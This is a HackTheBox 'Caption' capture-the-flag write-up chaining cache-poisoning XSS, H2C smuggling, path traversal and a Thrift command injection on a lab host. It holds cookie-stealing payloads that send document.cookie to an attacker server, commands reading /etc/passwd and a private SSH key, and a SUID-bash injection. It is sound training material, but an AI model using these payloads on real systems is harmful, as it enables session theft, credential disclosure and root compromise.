HackTheBox Caption
Writeup for HackTheBox Caption
Machine Synopsis
Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal (CVE-2023-37474). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --min-rate 10000 10.10.11.33
Nmap scan report for 10.10.11.33
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -p 22,80,8080 -sC -sV 10.10.11.33
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Lets add the domain to the /etc/hosts
file.
1
❯ echo -e '10.10.11.33\tcaption.htb' | sudo tee -a /etc/hosts
Here is the webpage on port 80
. It is a login portal.
Here is the webpage on port 8080
. It is a GitBucket
web application.
There are 2 repository. One is Caption Portal
and the other is Logservice
.
Within the Caption Portal
, we can observe that there is an app
folder and config
folder with a README
file.
Inside the config
folder, there is a haproxy
folder, service
folder, and varnish
folder.
One important information to remember here is that in /config/service/varnish.service
config file, it states that HTTP2
is enabled.
The commit history of this repository also seemed really interesting.
There is a Update Acess Control
commit which consists of credentials for margo
!
margo:vFr&cS2#0!
.
In this file, we can also observe that the /logs
and /download
endpoints are being restricted.
With the credentials found, we can now login to the web portal on port 80
.
Exploitation
Interestingly, there is a Firewalls
tab and at the bottom of the page, we notice that there is a note stating that Services are currently undergoing maintenance. Admins are actively addressing some issues with this feature.
.
This sounds like we will be exploiting some XSS
vulnerability to obtain the admin
cookies.
Inspecting the HTTP request to /firewalls
endpoint shows something intriguing. It is calling a script
with the source
pointing towards some internal proxy
. There is also an unusual X-Cache
header in the HTTP response.
Analyzing the HTTP response headers when accessing the their web portal, it seems like the portal is using Varnish
as a web cache service and the version is 6.6
.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
server: Werkzeug/3.0.1 Python/3.10.12
date:
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32770
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
Further playing around with the host headers, it was observed that the X-Forwarded-Host
was vulnerable to XSS
.
List of payloads tried:
1 2 3 4 5Redirect: 127.0.0.1 X-Forwarded-By: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Port: 80
Note: you can only test the payloads for the vulnerability every approximately 2 minutes when the cache “refreshes”.
With this, we can craft a payload that loads a malicious JS file from our web server directly.
1
X-Forwarded-Host: 127.0.0.1"></script> <script src="http://10.10.xx.xx/hehe.js"></script><!--
Or another simpler way to get the cookie directly is to use the following payload.
1X-Forwarded-Host: 127.0.0.1"></script> <script>fetch("http://10.10.16.6/?c=" + document.cookie);</script><!--
1 2 3 4 ❯ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.33 - - "GET /?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs HTTP/1.1" 200 - ...
1
2
3
4
5
6
7
❯ cat hehe.js
(function stealCookies() {
let xhr = new XMLHttpRequest();
let cookieData = document.cookie;
xhr.open("GET", "http://10.10.16.6?cookies=" + encodeURIComponent(cookieData), true);
xhr.send();
})();
1
2
3
4
5
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.33 - - "GET /hehe.js HTTP/1.1" 200 -
10.10.11.33 - - "GET /?cookies=session%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc3OTM0fQ.6JFf6jC4zAsG4oaZQCvLR_-dmvTSX9Dv4kr1FHugOAE HTTP/1.1" 200 -
...
Now that we have the admin
cookies, we still can’t access /logs
or /download
. We have to find a way to bypass the 403
pages.
Recall that Varnish allows the usage of the HTTP2
protocol? This enables us to try H2C
smuggling to access the restricted endpoints which are protected behind the HAProxy
configuration.
Googling for http2 smuggling
resulted in this BishopFox article
which leads to their in-house tool that can perform HTTP request smuggling over HTTP/2 Cleartext
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
❯ git clone https://github.com/BishopFox/h2csmuggler
❯ cd h2csmuggler
❯ ls
LICENSE README.md configs demo.go docker-compose.yml extensions h2csmuggler.py media
❯ python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:30:23 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 65588
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Portal Login</title>
...
<style>
...
</style>
...
</head>
<body>
...
</body>
</html>
[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:30:23 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 65589
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
Nice, now we should be able to use the admin cookies to access the protected endpoints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:31:55 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 262162
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Networks Home</title>
...
<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>
...
</body>
</html>
It seems like there are some logs available on http://127.0.0.1:3923/
. Lets try to access that endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:37:31 GMT
content-type: text/html; charset=utf-8
content-length: 4400
x-varnish: 262170
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>💾🎉</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimum-scale=0.6">
<meta name="theme-color" content="#333">
<link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=AgS6">
<link rel="stylesheet" media="screen" href="/.cpr/browser.css?_=AgS6">
</head>
<body>
<div id="ops"></div>
<div id="op_search" class="opview">
<div id="srch_form" class="opbox"></div>
<div id="srch_q"></div>
</div>
<div id="op_player" class="opview opbox opwide"></div>
<div id="op_bup" class="opview opbox act">
<div id="u2err"></div>
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="bput" />
<input type="file" name="f" multiple /><br />
<input type="submit" value="start upload">
</form>
<a id="bbsw" href="?b=u" rel="nofollow"><br />switch to basic browser</a>
</div>
<div id="op_mkdir" class="opview opbox act">
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="mkdir" />
📂<input type="text" name="name" class="i" placeholder="awesome mix vol.1">
<input type="submit" value="make directory">
</form>
</div>
<div id="op_new_md" class="opview opbox">
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="new_md" />
📝<input type="text" name="name" class="i" placeholder="weekend-plans">
<input type="submit" value="new markdown doc">
</form>
</div>
<div id="op_msg" class="opview opbox act">
<form method="post" enctype="application/x-www-form-urlencoded" accept-charset="utf-8" action="">
📟<input type="text" name="msg" class="i" placeholder="lorem ipsum dolor sit amet">
<input type="submit" value="send msg to srv log">
</form>
</div>
<div id="op_unpost" class="opview opbox"></div>
<div id="op_up2k" class="opview"></div>
<div id="op_cfg" class="opview opbox opwide"></div>
<h1 id="path">
<a href="#" id="entree">🌲</a>
<a href="/">/</a>
</h1>
<div id="tree"></div>
<div id="wrap">
<div id="bdoc"></div>
<div id="pro" class="logue"></div>
<table id="files">
<thead>
<tr>
<th name="lead"><span>c</span></th>
<th name="href"><span>File Name</span></th>
<th name="sz" sort="int"><span>Size</span></th>
<th name="ext"><span>T</span></th>
<th name="ts"><span>Date</span></th>
</tr>
</thead>
<tbody>
<tr><td>-</td><td><a href="fw_logs">fw_logs</a></td><td>14209</td>
<td>%</td><td>2024-03-06 12:15:18</td></tr>
<tr><td>-</td><td><a href="hadoop_logs">hadoop_logs</a></td><td>16685</td>
<td>%</td><td>2024-03-06 14:40:52</td></tr>
<tr><td>-</td><td><a href="ssh_logs">ssh_logs</a></td><td>15300</td>
<td>%</td><td>2024-03-06 14:38:09</td></tr>
<tr><td>-</td><td><a href="zk_logs">zk_logs</a></td><td>13145</td>
<td>%</td><td>2024-03-06 14:41:03</td></tr>
</tbody>
</table>
<div id="epi" class="logue"></div>
<h2 id="wfp"><a href="/?h" id="goh">control-panel</a></h2>
<a href="#" id="repl">π</a>
</div>
<div id="srv_info"><span>caption</span> // <span>2.69 GiB free of 8.76 GiB</span></div>
<div id="widget"></div>
<script>
var SR = "",
TS = "AgS6",
acct = "*",
perms = ["read"],
dgrid = false,
themes = 8,
dtheme = "az a z",
srvinf = "caption</span> // <span>2.69 GiB free of 8.76 GiB",
lang = "eng",
dfavico = "🎉 000 none",
def_hcols = [],
have_up2k_idx = false,
have_tags_idx = false,
have_acode = false,
have_mv = true,
have_del = true,
have_unpost = 43200,
have_zip = true,
sb_md = "downloads forms popups scripts top-navigation-by-user-activation",
sb_lg = "downloads forms popups scripts top-navigation-by-user-activation",
lifetime = 0,
turbolvl = 0,
idxh = 0,
frand = false,
u2sort = "s",
have_emp = false,
txt_ext = "txt nfo diz cue readme",
logues = ["", ""],
readme = "",
ls0 = null;
document.documentElement.className = localStorage.theme || dtheme;
</script>
<script src="/.cpr/util.js?_=AgS6"></script>
<script src="/.cpr/baguettebox.js?_=AgS6"></script>
<script src="/.cpr/browser.js?_=AgS6"></script>
<script src="/.cpr/up2k.js?_=AgS6"></script>
</body>
</html>
We observe that there are multiple /.cpr/
subfolders. Googling for .cpr folder exploit
resulted in this ExploitDB directory traversal exploit.
1
2
#POC
curl -i -s -k -X GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'
It seems like an easy exploit but the tricky part is to double encode the value /etc/passwd
which results in %252Fetc%252Fpasswd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
[INFO] Requesting - /download?url=http://127.0.0.1:3923/%252Ecpr%252F%252Fetc%252Fpasswd
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:47:37 GMT
content-type: text/html; charset=utf-8
content-length: 2122
x-varnish: 65595
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
haproxy:x:114:120::/var/lib/haproxy:/usr/sbin/nologin
varnish:x:115:121::/nonexistent:/usr/sbin/nologin
vcache:x:116:121::/nonexistent:/usr/sbin/nologin
varnishlog:x:117:121::/nonexistent:/usr/sbin/nologin
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Nice! It works. Since we know that there is a user margo
, we can try to get the SSH
key. However, there was another trick here. It wasn’t the standard id_rsa
key, it was the id_ecdsa
. We can check the type of SSH key by grabbing the authorized_keys
.
Remember, /home/margo/.ssh/authorized_keys
double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys
and /home/margo/.ssh/id_ecdsa
double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:57:27 GMT
content-type: text/html; charset=utf-8
content-length: 175
x-varnish: 65626
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxA= margo@caption
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 12:00:01 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65629
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ subl id_ecdsa
❯ chmod 600 id_ecdsa
❯ ssh margo@caption.htb -i id_ecdsa
The authenticity of host 'caption.htb (10.10.11.33)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:24: [hashed name]
~/.ssh/known_hosts:32: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'caption.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Apr 18 12:01:22 PM UTC 2025
System load: 0.0 Processes: 232
Usage of /: 69.5% of 8.76GB Users logged in: 0
Memory usage: 19% IPv4 address for eth0: 10.10.11.33
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$ cat /home/margo/user.txt
27e3beb00254fab54e76c1e644286b34
Privilege Escalation
Lets check for any active process listening.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
margo@caption:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1315/python3
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 1310/python3
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1312/java
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
There is a service listening on port 9090
. We look back to the LogService
repo on GitBucket and find out that the server.go
file is indeed listening on port 9090
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
On this same source code, we find that there is some command injection going on and we might be able to abuse it.
I heavily relied on the writeup here to achieve the privesc. Credit to runasdexter.
Lets port forward the port via SSH
.
1
❯ ssh -L 9090:127.0.0.1:9090 -i id_ecdsa margo@10.10.11.33
Now we can download the entire repo. We also have to install the thrift-compiler
package on our machine.
1
2
❯ git clone http://caption.htb:8080/git/root/Logservice.git
❯ sudo apt install thrift-compiler
Next, we create a virtual environment, setup the necessary modules and generate the program using thrift
.
1
2
3
4
5
6
7
❯ python3 -m venv .venv
❯ source .venv/bin/activate
❯ pip3 install thrift
❯ cd Logservice
❯ ls
README.md gen-go log_service.thrift server.go
❯ thrift --gen py log_service.thrift
Now, we create a malicious log file in margo
/tmp
directory.
1
2
3
4
margo@caption:~$ cd /tmp
margo@caption:/tmp$ nano hehe.log
margo@caption:/tmp$ cat hehe.log
"user-agent":"'$(chmod u+s /bin/bash) '"
Then, we move into the gen-py
directory and create our exploit to interact with thrift
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ ls
README.md exploit.py gen-go gen-py log_service.thrift server.go
❯ cd gen-py
❯ subl exploit.py
❯ cat exploit.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
result = client.ReadLogFile("/tmp/hehe.log")
transport.close()
if __name__ == "__main__":
main()%
❯ python3 exploit.py
Finally, we go back to margo
shell, check if bash
has the SUID
set and run bash
as root
.
1
2
3
4
5
6
7
margo@caption:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
margo@caption:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
9ca1e1b3d8a00e3b09d6b6e5d7c7e975